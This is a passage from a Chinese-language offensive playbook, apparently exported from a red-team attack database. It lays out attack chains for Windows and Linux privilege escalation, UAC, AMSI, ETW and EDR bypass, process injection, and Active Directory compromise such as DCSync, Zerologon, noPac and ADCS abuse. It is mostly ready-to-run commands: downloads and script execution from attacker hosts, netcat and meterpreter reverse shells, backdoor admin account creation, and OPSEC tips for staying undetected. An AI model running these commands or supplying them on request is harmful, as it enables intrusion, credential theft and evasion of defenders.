2. 使用WinPEAS [windows] 自动化提权检查
winpeas.exe
3. 检查服务权限 [windows] 检查可写服务
accesschk.exe -uwcqv "Everyone" *
4. 检查未引用服务路径 [windows] 查找未引用服务路径
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
Linux权限提升 linux-privesc
Linux系统提权技术
子类:Linux · tags: privesc linux privilege
前置条件: 普通用户权限;系统漏洞
攻击链:
1. 检查SUID [linux] 查找SUID文件
find / -perm -4000 -type f 2>/dev/null
2. 检查Sudo [linux] 检查sudo权限
sudo -l
3. 检查Cron [linux] 检查计划任务
cat /etc/crontab
ls -la /etc/cron*
4. 使用LinPEAS [linux] 自动化提权检查
linpeas.sh
UAC绕过 uac-bypass
绕过Windows用户账户控制
子类:UAC · tags: uac bypass windows
前置条件: 管理员组成员;UAC启用
攻击链:
1. Fodhelper [windows] 通过fodhelper绕过UAC
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /ve /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v "DelegateExecute" /d "" /f
fodhelper.exe
2. Eventvwr [windows] 通过eventvwr绕过UAC
reg add HKCU\Software\Classes\mscfile\shell\open\command /ve /d "cmd.exe" /f
eventvwr.exe
3. 使用UACME [windows] 使用UACME工具
Akagi64.exe 23 cmd.exe
DLL劫持 dll-hijack
通过DLL劫持提权
子类:DLL · tags: dll hijack privesc
前置条件: 可写目录;DLL搜索顺序
攻击链:
1. 查找DLL劫持 [windows] 监控进程加载的DLL
使用Procmon监控DLL加载
2. 创建恶意DLL [linux] 生成恶意DLL
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f dll > evil.dll
3. 放置DLL [windows] 放置DLL到目标位置
copy evil.dll "C:\Program Files\VulnerableApp\missing.dll"
服务提权 service-exploit
通过服务漏洞提权
子类:服务 · tags: service privesc windows
前置条件: 服务修改权限;可写服务路径
攻击链:
1. 检查服务权限 [windows] 检查用户可修改的服务
accesschk.exe -uwcqv "Users" *
2. 修改服务路径 [windows] 修改服务执行路径
sc config VulnerableService binPath= "cmd /c whoami"
3. 重启服务 [windows] 重启服务执行命令
sc stop VulnerableService
sc start VulnerableService
AlwaysInstallElevated提权 always-install
利用AlwaysInstallElevated提权
子类:MSI · tags: msi alwaysinstall privesc
前置条件: AlwaysInstallElevated启用
攻击链:
1. 检查设置 [windows] 检查是否启用
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
2. 创建MSI [linux] 生成恶意MSI
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=attacker LPORT=4444 -f msi > evil.msi
3. 安装MSI [windows] 安装MSI执行代码
msiexec /quiet /qn /i evil.msi
Juicy Potato提权 juicy-potato
利用COM对象和SeImpersonatePrivilege提权
子类:Potato · tags: juicy-potato com privesc
前置条件: SeImpersonatePrivilege;Windows < 2019
攻击链:
1. 检查权限 [windows] 检查SeImpersonatePrivilege
whoami /priv | findstr SeImpersonate
2. 执行JuicyPotato [windows] 使用JuicyPotato提权
JuicyPotato.exe -t * -p cmd.exe -l 1337
PrintSpoofer提权 printspoofer
利用打印机服务提权
子类:PrintSpoofer · tags: printspoofer privesc windows
前置条件: SeImpersonatePrivilege
攻击链:
1. 执行PrintSpoofer [windows] 使用PrintSpoofer提权
PrintSpoofer.exe -i -c cmd
2. 指定命令 [windows] 执行指定命令
PrintSpoofer.exe -c "whoami > C:\out.txt"
GodPotato提权 godpotato
GodPotato提权工具
子类:GodPotato · tags: godpotato privesc windows
前置条件: SeImpersonatePrivilege
攻击链:
1. 执行GodPotato [windows] 使用GodPotato提权
GodPotato.exe -cmd "cmd /c whoami"
2. 反向Shell [windows] 执行反向Shell
GodPotato.exe -cmd "cmd /c powershell -e BASE64_CMD"
SUID提权 suid-exploit
利用SUID文件提权
子类:SUID · tags: suid privesc linux
前置条件: 存在SUID文件;可利用程序
攻击链:
1. 查找SUID [linux] 查找所有SUID文件
find / -perm -4000 -type f 2>/dev/null
2. 常见可利用程序 [linux] 常见SUID利用方法
nmap --interactive
vim -c ':!/bin/sh'
find / -exec /bin/sh \;
cp /bin/sh /tmp/sh; chmod +s /tmp/sh
3. GTFOBins [linux] 查找程序利用方法
参考GTFOBins网站查找可利用程序
Sudo提权 sudo-exploit
利用Sudo配置提权
子类:Sudo · tags: sudo privesc linux
前置条件: Sudo权限配置不当
攻击链:
1. 检查Sudo权限 [linux] 列出可执行的sudo命令
sudo -l
2. 常见利用 [linux] 常见sudo利用方法
sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \;
sudo awk 'BEGIN {system("/bin/sh")}'
3. CVE-2021-3156 [linux] Baron Samedit漏洞
利用sudo堆溢出漏洞
Cron提权 cron-exploit
利用Cron任务提权
子类:Cron · tags: cron privesc linux
前置条件: 可写Cron脚本;通配符注入
攻击链:
1. 检查Cron任务 [linux] 查看计划任务
cat /etc/crontab
ls -la /etc/cron*
2. 检查脚本权限 [linux] 检查Cron脚本权限
ls -la /path/to/cron/script.sh
3. 通配符注入 [linux] 利用tar通配符注入
在Cron目录创建: --checkpoint=1
--checkpoint-action=exec=sh shell.sh
内核漏洞提权 kernel-exploit
利用内核漏洞提权
子类:内核 · tags: kernel privesc exploit
前置条件: 存在内核漏洞;可编译/执行exploit
攻击链:
1. 检查内核版本 [linux] 查看内核版本信息
uname -a
cat /proc/version
2. 搜索exploit [linux] 搜索内核exploit
searchsploit kernel VERSION
3. 常见内核漏洞 [linux] 常见内核提权漏洞
DirtyCow (CVE-2016-5195)
DirtyPipe (CVE-2022-0847)
PwnKit (CVE-2021-4034)
Potato系列提权攻击 potato-attack
利用Windows令牌模拟和NTLM中继机制从服务账户(SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege)提权到SYSTEM
子类:Potato提权 · tags: privilege-escalation potato token-impersonation ntlm-relay windows
前置条件: 拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限;常见于IIS AppPool、SQL Server、各类服务账户
攻击链:
1. 检查当前权限 [windows] 首先确认当前用户是否拥有令牌模拟权限。IIS应用池账户、SQL Server服务账户、Windows服务账户通常默认拥有该权限
# 检查是否拥有Impersonate权限
whoami /priv
# 重点关注以下权限:
# SeImpersonatePrivilege - 模拟客户端令牌
# SeAssignPrimaryTokenPrivilege - 替换进程级令牌
# 确认当前用户身份
whoami /all
echo %USERNAME%
2. JuicyPotato (Windows Server 2016/2019) [windows] JuicyPotato利用COM服务器和NTLM认证实现令牌模拟。通过创建本地COM服务器,欺骗SYSTEM账户向其认证,然后模拟该令牌执行命令
# 下载JuicyPotato
certutil -urlcache -split -f http://attacker/JuicyPotato.exe C:\temp\jp.exe
# 使用JuicyPotato提权执行命令
C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c whoami > C:\temp\proof.txt" -t *
# 使用特定CLSID (不同系统需要不同CLSID)
C:\temp\jp.exe -l 1337 -p C:\Windows\System32\cmd.exe -a "/c net user testadmin Test@123 /add && net localgroup administrators testadmin /add" -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# 反弹Shell
C:\temp\jp.exe -l 1337 -p C:\temp\nc.exe -a "-e cmd.exe attacker_ip 4444" -t *
3. PrintSpoofer (Windows 10/Server 2019+) [windows] PrintSpoofer利用Windows打印服务的命名管道模拟功能。它创建一个命名管道并欺骗Print Spooler服务连接,从而获取SYSTEM令牌。适用于JuicyPotato无法使用的新版Windows
# PrintSpoofer - 利用打印服务命名管道
PrintSpoofer.exe -i -c cmd
# 直接执行命令
PrintSpoofer.exe -c "cmd /c whoami > C:\temp\proof.txt"
# 反弹Shell
PrintSpoofer.exe -c "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe"
# 以SYSTEM身份启动PowerShell
PrintSpoofer.exe -i -c powershell.exe
4. Sweet Potato (多技术集成) [windows] SweetPotato集成了PrintSpoofer、EfsPotato等多种技术,自动选择适合目标系统的攻击方式
# SweetPotato - 集成多种Potato技术
SweetPotato.exe -p C:\Windows\System32\cmd.exe -a "/c whoami"
# 指定攻击方式
SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c net user testadmin Test@123 /add"
5. GodPotato (全版本通杀) [windows] GodPotato利用DCOM OXID解析器的漏洞,无需指定CLSID,兼容几乎所有Windows版本。是目前最通用的Potato变种
# GodPotato - 适用于Windows Server 2012-2022所有版本
GodPotato.exe -cmd "cmd /c whoami"
# 执行反弹Shell
GodPotato.exe -cmd "cmd /c C:\temp\nc.exe -e cmd.exe attacker_ip 4444"
# 添加管理员
GodPotato.exe -cmd "net user testadmin Test@123 /add && net localgroup administrators testadmin /add"
# 执行PowerShell
GodPotato.exe -cmd "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker/shell.ps1')"
6. RoguePotato (远程场景) [windows] RoguePotato是JuicyPotato的改进版,通过远程OXID解析器实现NTLM认证中继。需要一台攻击机辅助完成中继
# 攻击机 - 启动socat重定向
socat tcp-listen:135,reuseaddr,fork tcp:target_ip:9999
# 目标机 - 执行RoguePotato
RoguePotato.exe -r attacker_ip -e "cmd /c whoami > C:\temp\proof.txt" -l 9999
# 或使用netcat反弹
RoguePotato.exe -r attacker_ip -e "C:\temp\nc.exe attacker_ip 4444 -e cmd.exe" -l 9999
7. Potato选型决策流程 [windows] 根据目标系统版本选择合适的Potato变种工具
# === 决策流程 ===
# 1. whoami /priv 确认SeImpersonatePrivilege
# 2. systeminfo 确认系统版本
#
# Windows Server 2012-2016 => JuicyPotato
# Windows Server 2019 (1809之前) => JuicyPotato (需正确CLSID)
# Windows 10/Server 2019+ => PrintSpoofer 或 GodPotato
# Windows Server 2022 => GodPotato
# 所有版本 => SweetPotato (自动选择)
# 需要远程中继 => RoguePotato
#
# 常用CLSID查询: https://ohpe.it/juicy-potato/CLSID/
EDR 绕过变体:
1. 绕过EDR检测的Potato技巧 [windows] 通过反射加载、重命名、使用较新工具等方式绕过EDR对Potato工具的检测
# 1. 重命名二进制文件
ren GodPotato.exe svcutil.exe
# 2. 使用.NET反射加载(无文件落地)
powershell -ep bypass -c "$bytes=[System.IO.File]::ReadAllBytes('C:\temp\gp.exe');[System.Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null,@(,@('-cmd','cmd /c whoami')))";
# 3. 使用SharpToken替代(较新工具,签名较少)
SharpToken.exe execute SYSTEM "cmd /c whoami"
分析: Potato系列攻击利用Windows的令牌模拟机制——拥有SeImpersonatePrivilege的服务账户可以模拟向其认证的任何用户令牌。攻击者通过欺骗SYSTEM账户向本地COM服务器/命名管道认证,获取SYSTEM令牌后创建高权限进程。这是Web服务器(IIS)和数据库(SQL Server)提权最常见的方式之一。
OPSEC: 1) Potato工具的二进制文件特征明显,建议内存加载 2) 创建的命名管道名称可能被监控 3) 成功后立即清理工具和临时文件 4) 避免使用net user等敏感命令,改用更隐蔽的后渗透方式
免杀与规避
PowerShell免杀 evasion-powershell
PowerShell脚本免杀技术
子类:PowerShell · tags: powershell evasion obfuscation
前置条件: 目标机器访问权限;Windows系统
攻击链:
1. 编码执行 [windows] Base64编码执行
powershell -enc BASE64_ENCODED_COMMAND
2. 远程加载 [windows] 远程加载脚本
IEX (New-Object Net.WebClient).DownloadString("http://attacker/script.ps1")
3. 混淆变量名 [windows] 变量名混淆
1='IEX'; 2='(New-Object Net.WebClient).DownloadString'; Invoke-Expression "1 2"
4. 无文件执行 [windows] 隐藏窗口无配置文件执行
powershell -w hidden -nop -c "IEX (New-Object Net.WebClient).DownloadString(\"http://attacker/script.ps1\")"
EDR 绕过变体:
1. 降级执行 使用PowerShell v2绕过日志
powershell -version 2 -c "command"
分析: PowerShell免杀可以绕过杀毒软件检测执行恶意脚本。
OPSEC: PowerShell日志可能记录命令;考虑禁用日志;使用混淆技术
AMSI绕过 amsi-bypass
绕过反恶意软件扫描接口
子类:AMSI绕过 · tags: amsi bypass evasion
前置条件: PowerShell环境;AMSI启用
攻击链:
1. 反射绕过 [windows] 通过反射禁用AMSI
[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)
2. 内存修补 [windows] 混淆版本绕过
$a=[Ref].Assembly.GetTypes();ForEach($x in $a){if($x.Name -like "*iUtils"){$z=$x}};$y=$z.GetFields("NonPublic,Static");ForEach($x in $y){if($x.Name -like "*itFailed"){$x.SetValue($null,$true)}}
3. DLL劫持 [windows] 通过DLL劫持绕过
替换或劫持amsi.dll
4. 使用工具 [windows] 使用现成工具
Import-Module .\AmsiBypass.ps1
Invoke-AmsiBypass
ETW Patch绕过 etw-patch
禁用ETW监控
子类:ETW · tags: etw bypass evasion
前置条件: 代码执行权限
攻击链:
1. PowerShell禁用ETW [windows] PowerShell禁用ETW
[System.Diagnostics.Eventing.EventProvider]::SetEnabled([System.Guid]::NewGuid(), 0, 0)
或
[Reflection.Assembly]::LoadWithPartialName("System.Diagnostics.Tracing") | Out-Null
$etw = [System.Diagnostics.Tracing.EventProvider]::new([Guid]::NewGuid())
$etw.SetEnabled(0)
2. C#禁用ETW [windows] C#禁用ETW
Assembly.Load("System.Diagnostics.Tracing")
Type etwType = typeof(EventProvider)
MethodInfo setEnabled = etwType.GetMethod("SetEnabled", BindingFlags.NonPublic | BindingFlags.Static)
setEnabled.Invoke(null, new object[] { Guid.NewGuid(), 0, 0 })
3. 修补ntdll [windows] 修补EtwEventWrite
$ntdll = [Win32.Kernel32]::LoadLibrary("ntdll.dll")
$etwEventWrite = [Win32.Kernel32]::GetProcAddress($ntdll, "EtwEventWrite")
[Win32.Kernel32]::VirtualProtect($etwEventWrite, [uint32]1, 0x40, [ref]$oldProtect)
[Win32.Kernel32]::WriteProcessMemory(-1, $etwEventWrite, [byte[]](0xC3), 1, [ref]$bytesWritten)
API Unhooking api-unhooking
移除EDR的API Hook
子类:Unhooking · tags: unhooking hook evasion
前置条件: 代码执行权限
攻击链:
1. 从磁盘还原 [windows] 从磁盘读取干净DLL
$ntdll = [System.IO.File]::ReadAllBytes("C:\Windows\System32\ntdll.dll")
$proc = [System.Diagnostics.Process]::GetCurrentProcess()
$base = $proc.MainModule.BaseAddress
# 找到.text段并覆盖
2. 从KnownDlls还原 [windows] 从KnownDlls还原
$section = [Win32.Kernel32]::OpenFileMapping(0x4, $false, "\KnownDlls\ntdll.dll")
$map = [Win32.Kernel32]::MapViewOfFile($section, 0x4, 0, 0, 0)
# 复制干净的代码段
3. Hell's Gate [windows] Hell's Gate技术
通过系统调用号直接调用:
1. 解析NTDLL获取系统调用号
2. 直接执行syscall
3. 绕过用户模式Hook
进程注入 process-injection
将代码注入到其他进程
子类:进程注入 · tags: injection process evasion
前置条件: 代码执行权限
攻击链:
1. 经典DLL注入 [windows] DLL注入
$proc = Get-Process -Name notepad
$handle = [Win32.Kernel32]::OpenProcess(0x1F0FFF, $false, $proc.Id)
$addr = [Win32.Kernel32]::VirtualAllocEx($handle, 0, $dllPath.Length, 0x3000, 0x40)
[Win32.Kernel32]::WriteProcessMemory($handle, $addr, $dllPath, $dllPath.Length, [ref]0)
[Win32.Kernel32]::CreateRemoteThread($handle, 0, 0, $loadLibraryAddr, $addr, 0, [ref]0)
2. Process Hollowing [windows] 进程镂空
1. CreateProcess(CREATE_SUSPENDED)
2. NtUnmapViewOfSection
3. VirtualAllocEx
4. WriteProcessMemory
5. ResumeThread
3. APC注入 [windows] APC队列注入
$threadId = $proc.Threads[0].Id
$queueAPC = [Win32.Kernel32]::GetProcAddress($kernel32, "QueueUserAPC")
[Win32.Kernel32]::QueueUserAPC($queueAPC, $handle, $addr)
AppLocker绕过 applocker-bypass
绕过AppLocker应用程序限制
子类:AppLocker · tags: applocker bypass evasion
前置条件: AppLocker限制环境
攻击链:
1. 使用白名单路径 [windows] 使用白名单可执行文件
C:\Windows\System32\spoolsv.exe
C:\Windows\System32\svchost.exe
C:\Program Files\Internet Explorer\ieexec.exe
2. LOLBAS利用 [windows] LOLBAS技术
regsvr32.exe /s /n /u /i:http://attacker.com/shell.sct scrobj.dll
mshta.exe http://attacker.com/shell.hta
certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe
3. InstallUtil [windows] InstallUtil绕过
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U shell.exe
4. MSBuild [windows] MSBuild执行代码
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe shell.csproj
BlockDLLs技术 evasion-blockdlls
阻止非微软DLL加载
子类:BlockDLLs · tags: evasion blockdlls edr
前置条件: Windows系统;Cobalt Strike或其他工具
攻击链:
1. Cobalt Strike BlockDLLs [windows] 启用BlockDLLs
beacon> blockdlls start
阻止非微软签名的DLL加载
beacon> blockdlls stop
恢复DLL加载
2. 进程创建时启用 [windows] 进程创建时启用
使用CREATE_SUSPENDED标志创建进程
设置ProcessSignaturePolicy
阻止EDR DLL注入
3. C#实现 [windows] C#实现BlockDLLs
[DllImport("kernel32.dll")]
static extern bool SetProcessMitigationPolicy(...);
ProcessSignaturePolicy policy = new ProcessSignaturePolicy();
policy.SignatureLevel = 0x0F;
SetProcessMitigationPolicy(ProcessMitigationPolicy.Signature, ref policy, size);
Shellcode加密 evasion-shellcode-encrypt
加密Shellcode绕过静态检测
子类:Shellcode加密 · tags: evasion shellcode encrypt
前置条件: Shellcode;加密工具
攻击链:
1. AES加密Shellcode AES加密
使用工具加密:
python shellcode_encoder.py --input shellcode.bin --output encoded.bin --key randomkey
生成加密的Shellcode和解密代码
2. XOR加密 XOR加密
简单XOR加密:
for i in range(len(shellcode)):
encoded[i] = shellcode[i] ^ key[i % len(key)]
运行时解密执行
3. RC4加密 RC4加密
使用RC4加密Shellcode:
from Crypto.Cipher import ARC4
cipher = ARC4.new(key)
encrypted = cipher.encrypt(shellcode)
运行时使用相同密钥解密
4. 多态加密 多态加密
每次生成不同的解密代码:
- 随机密钥
- 随机解密顺序
- 添加垃圾指令
- 控制流混淆
进程伪装 evasion-process-masq
伪装进程名称和路径
子类:进程伪装 · tags: evasion process masquerade
前置条件: Windows系统
攻击链:
1. PPID欺骗 [windows] PPID欺骗
Cobalt Strike:
beacon> ppid 1234
设置父进程ID为合法进程
beacon> run [command]
新进程继承合法父进程
2. 进程参数欺骗 [windows] 参数欺骗
CreateProcess参数:
- lpApplicationName: 合法程序路径
- lpCommandLine: 包含恶意命令
- 显示为合法进程
3. 进程镂空 [windows] 进程镂空
1. 创建合法进程(挂起状态)
2. 写入恶意代码
3. 恢复线程执行
进程名显示为合法程序
PPID欺骗 evasion-ppid-spoof
伪造父进程ID
子类:PPID欺骗 · tags: evasion ppid spoofing
前置条件: Windows系统;父进程句柄
攻击链:
1. PowerShell实现 [windows] PowerShell PPID欺骗
$parent = Get-Process -Name explorer
$pi = New-Object System.Diagnostics.ProcessStartInfo
$pi.FileName = "cmd.exe"
$pi.ParentProcessId = $parent.Id
[System.Diagnostics.Process]::Start($pi)
2. C#实现 [windows] C#实现
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFOEX {
public STARTUPINFO StartupInfo;
public IntPtr lpAttributeList;
}
使用PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性
3. Cobalt Strike [windows] Cobalt Strike实现
beacon> ppid [explorer_pid]
beacon> run notepad.exe
新进程父进程为explorer.exe
DLL侧加载 evasion-dll-sideloading
利用DLL搜索顺序加载恶意DLL
子类:DLL侧加载 · tags: evasion dll sideloading
前置条件: Windows系统;可执行文件
攻击链:
1. DLL劫持 [windows] DLL劫持原理
1. 找到可执行文件加载的DLL
2. 将恶意DLL放在搜索路径优先位置
3. 执行程序时加载恶意DLL
2. DLL转发 [windows] DLL转发
#pragma comment(linker, "/export:OriginalFunction=original.dll.OriginalFunction")
导出原始DLL的函数
同时执行恶意代码
3. 常见目标 [windows] 常见目标DLL
常见DLL劫持目标:
- version.dll
- dwmapi.dll
- uxtheme.dll
- cryptsp.dll
- winmm.dll
参数欺骗 evasion-arg-spoofing
欺骗进程参数显示
子类:参数欺骗 · tags: evasion argument spoofing
前置条件: Windows系统
攻击链:
1. 命令行欺骗 [windows] 命令行欺骗
CreateProcess参数:
lpApplicationName = "C:\Windows\System32\cmd.exe"
lpCommandLine = "C:\Windows\System32\cmd.exe /c whoami"
实际执行恶意命令
2. 环境变量欺骗 [windows] 环境变量欺骗
使用环境变量隐藏参数:
set EVIL=malicious_command
cmd /c %EVIL%
进程列表不显示实际命令
3. PEB修改 [windows] PEB修改
修改PEB中的命令行:
1. 创建进程
2. 修改PEB中的CommandLine缓冲区
3. 进程管理器显示假参数
签名二进制利用 evasion-signed-binary
利用微软签名二进制执行代码
子类:签名二进制 · tags: evasion signed lolbin
前置条件: Windows系统
攻击链:
1. MSBuild [windows] MSBuild执行
msbuild.exe malicious.csproj
执行嵌入的C#代码
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
2. InstallUtil [windows] InstallUtil执行
InstallUtil.exe /logfile= /LogToConsole=false /U malicious.dll
执行.NET程序集
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
3. Regsvcs/Regasm [windows] Regsvcs/Regasm
regsvcs.exe malicious.dll
regasm.exe malicious.dll
执行.NET程序集
4. Rundll32 [windows] Rundll32执行
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication"
rundll32.exe shell32.dll,Control_RunDLL malicious.cpl
CLR注入 evasion-clr-injection
CLR内存注入技术
子类:CLR注入 · tags: evasion clr injection
前置条件: Windows系统;.NET环境
攻击链:
1. CLR内存加载 [windows] CLR加载原理
使用CLR接口加载.NET程序集:
1. 获取CLR运行时
2. 创建AppDomain
3. 加载程序集
4. 执行入口点
2. C#实现 [windows] C# CLR加载
var clr = new ClrModule();
clr.LoadAssembly(File.ReadAllBytes("malicious.exe"));
clr.Execute("Main");
从内存执行.NET程序
3. Cobalt Strike [windows] Cobalt Strike实现
beacon> execute-assembly /path/to/tool.exe args
从内存执行.NET程序集
不落地执行
域渗透攻击
域内权限提升路径 domain-privilege-escalation
利用ACL错误配置进行域权限提升
子类:权限提升 · tags: acl privilege active-directory escalation
前置条件: 域环境;普通域用户凭证;BloodHound分析结果
攻击链:
1. BloodHound分析 查询到域管理员的最短路径
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
2. 查找WriteDACL [windows] 查找WriteDACL权限
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*WriteDACL*"}
3. 利用WriteDACL [windows] 添加DCSync权限
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER
4. 执行DCSync [windows] 执行DCSync获取域管哈希
mimikatz.exe "lsadump::dcsync /domain:domain.com /user:Administrator" "exit"
5. 查找GenericAll [windows] 查找GenericAll权限
Get-ObjectAcl -ResolveGUIDs | Where-Object {$_.ActiveDirectoryRights -like "*GenericAll*"}
6. 重置密码 [windows] 重置目标用户密码
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force)
EDR 绕过变体:
1. 隐蔽操作 指定域控制器操作
Add-DomainObjectAcl -TargetIdentity TARGET$ -Rights DCSync -PrincipalIdentity CONTROLLED_USER -DomainController dc.domain.com
分析: 域内ACL错误配置是常见的权限提升路径,可以通过BloodHound发现。
OPSEC: ACL修改会产生日志;优先使用隐蔽的权限;BloodHound可以发现攻击路径
跨域信任攻击 domain-cross-trust
利用域信任关系进行跨域攻击
子类:跨域攻击 · tags: trust cross-domain active-directory forest
前置条件: 已获取源域权限;存在域信任关系;目标域信息
攻击链:
1. 枚举信任关系 [windows] 枚举域信任关系
Get-NetDomainTrust
2. 枚举森林信任 [windows] 枚举森林信任关系
Get-NetForestTrust
3. 跨域用户枚举 [windows] 枚举目标域用户
Get-NetUser -Domain target.domain.com
4. 跨域组枚举 [windows] 枚举目标域组
Get-NetGroup -Domain target.domain.com
5. SID History攻击 [windows] 利用SID History跨域提权
mimikatz.exe "kerberos::golden /domain:source.domain.com /sid:S-1-5-21-SOURCE /sids:S-1-5-21-TARGET-519 /krbtgt:HASH /user:Administrator /ptt" "exit"
6. 跨域票据 [windows] 请求目标域票据
asktgt.exe -domain target.domain.com -user Administrator -hash :HASH
EDR 绕过变体:
1. 隐蔽跨域 指定目标域控制器枚举
Get-NetUser -Domain target.domain.com -DomainController dc.target.domain.com
分析: 跨域信任攻击可以利用信任关系从低安全域向高安全域移动。
OPSEC: 跨域攻击会产生日志;SID History需要特殊权限;森林信任更安全
Zerologon攻击 zerologon
CVE-2020-1472 Netlogon提权
子类:Zerologon · tags: zerologon cve-2020-1472 domain
前置条件: 可访问域控制器RPC
攻击链:
1. 检测漏洞 [linux] 检测漏洞
python zerologon_tester.py DC_NAME DC_IP
检测是否存在漏洞
2. 利用漏洞 [linux] 利用漏洞
python zerologon_exploit.py DC_NAME DC_IP
将DC密码置空
3. 导出哈希 [linux] 导出哈希
secretsdump.py -just-dc -no-pass DOMAIN/DC_NAME$@DC_IP
导出域内所有哈希
4. 恢复密码 [linux] 恢复密码
python zerologon_restore.py DC_NAME DC_IP ORIGINAL_NTLM
恢复域控密码避免破坏
PrintNightmare攻击 printnightmare
CVE-2021-34527 打印服务漏洞
子类:PrintNightmare · tags: printnightmare cve-2021-34527 rce
前置条件: 可访问打印服务RPC
攻击链:
1. 检测漏洞 [linux] 检测打印服务
rpcdump.py @DC_IP | grep MS-RPRN
检查打印服务是否可用
2. 利用漏洞 [linux] 利用漏洞
python CVE-2021-34527.py -target DC_IP -payload DLL_PATH
加载恶意DLL获取SYSTEM权限
3. Impacket利用 [linux] 使用Impacket
python dementor.py -d domain -u user -p pass \\attacker\share DC_IP
触发加载远程DLL
PetitPotam攻击 petitpotam
CVE-2021-36942 强制认证攻击
子类:PetitPotam · tags: petitpotam cve-2021-36942 relay
前置条件: 可访问EFSRPC接口
攻击链:
1. 启动中继 [linux] 启动NTLM中继
python ntlmrelayx.py -t ldap://DC_IP -smb2support --adcs
设置NTLM中继到ADCS
2. 触发认证 [linux] 触发认证
python petitpotam.py -d domain -u user -p pass attacker_ip DC_IP
强制DC向攻击者认证
3. 获取证书 [linux] 获取证书
中继成功后获取用户证书
使用证书进行Pass-the-Cert
noPac/SAMAccountName攻击 samaccountname
CVE-2021-42278/CVE-2021-42287 域提权
子类:noPac · tags: nopac cve-2021-42278 privesc
前置条件: 普通域用户权限
攻击链:
1. 检测漏洞 [linux] 检测漏洞
python noPac.py domain/user:password -dc-ip DC_IP -debug
检测是否存在漏洞
2. 利用漏洞 [linux] 利用漏洞
python noPac.py domain/user:password -dc-ip DC_IP -dc-host DC_NAME -shell
获取域管权限
3. 攻击原理 攻击原理
1. 创建机器账户(名称类似DC)
2. 清除SPN
3. 请求TGT
4. 删除机器账户
5. 获取域管TGT
ADCS滥用攻击 adcs-abuse
Active Directory证书服务滥用
子类:ADCS · tags: adcs certificate domain
前置条件: ADCS服务可访问
攻击链:
1. 枚举ADCS [linux] 枚举ADCS配置
certipy find -u user@domain -p password -dc-ip DC_IP
枚举证书模板
2. 请求用户证书 [linux] 请求证书
certipy req -u user@domain -p password -ca CA_NAME -template User
请求用户证书
3. Pass-the-Cert [linux] 使用证书认证
certipy auth -pfx user.pfx -dc-ip DC_IP
使用证书获取TGT
4. Rubeus请求 [windows] Rubeus利用
Rubeus.exe asktgt /user:target /certificate:cert.pfx /ptt
使用Rubeus请求TGT
ADCS ESC1漏洞 adcs-esc1
证书模板ESC1滥用
子类:ADCS · tags: adcs esc1 certificate
前置条件: 存在ESC1配置的模板
攻击链:
1. 识别ESC1 [linux] 识别漏洞模板
certipy find -u user@domain -p password -vulnerable
查找ESC1漏洞模板
2. 利用ESC1 [linux] 请求域管证书
certipy req -u user@domain -p password -ca CA_NAME -template ESC1_TEMPLATE -alt admin@domain
指定SAN为域管
3. 认证为域管 [linux] 认证为域管
certipy auth -pfx admin.pfx -dc-ip DC_IP
使用证书认证为域管
约束委派攻击 constrained-delegation
利用约束委派进行横向移动
子类:委派攻击 · tags: delegation constrained kerberos
前置条件: 存在约束委派配置的账户
攻击链:
1. 查找约束委派 [windows] 查找约束委派账户
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $true} -Properties TrustedToAuthForDelegation
或
bloodhound查询
2. 获取服务票据 [windows] S4U2Self + S4U2Proxy
Rubeus.exe s4u /user:SERVICE_ACCOUNT$ /rc4:HASH /msdsspn:CIFS/target.domain.com /impersonateuser:Administrator
获取域管的服务票据
3. 使用票据 [windows] 注入票据
Rubeus.exe ptt /ticket:BASE64_TICKET
注入票据并访问服务
基于资源的约束委派 resource-delegation
利用RBCD进行权限提升
子类:委派攻击 · tags: rbcd delegation kerberos
前置条件: 对目标对象有WriteDACL权限
攻击链:
1. 创建机器账户 [windows] 创建机器账户
New-MachineAccount -MachineAccount FAKECOMPUTER -Password $(ConvertTo-SecureString "password" -AsPlainText -Force)
创建新的机器账户
2. 配置RBCD [windows] 配置RBCD
Set-ADComputer -Identity TARGET_COMPUTER -PrincipalsAllowedToDelegateToAccount FAKECOMPUTER$
设置委派关系
3. 利用RBCD [windows] 利用RBCD
Rubeus.exe s4u /user:FAKECOMPUTER$ /rc4:HASH /impersonateuser:Administrator /msdsspn:CIFS/target.domain.com
获取域管票据
DCShadow攻击 dcshadow-attack
伪造域控制器注入数据
子类:DCShadow · tags: dcshadow domain injection
前置条件: 域管理员权限;可注册新DC
攻击链:
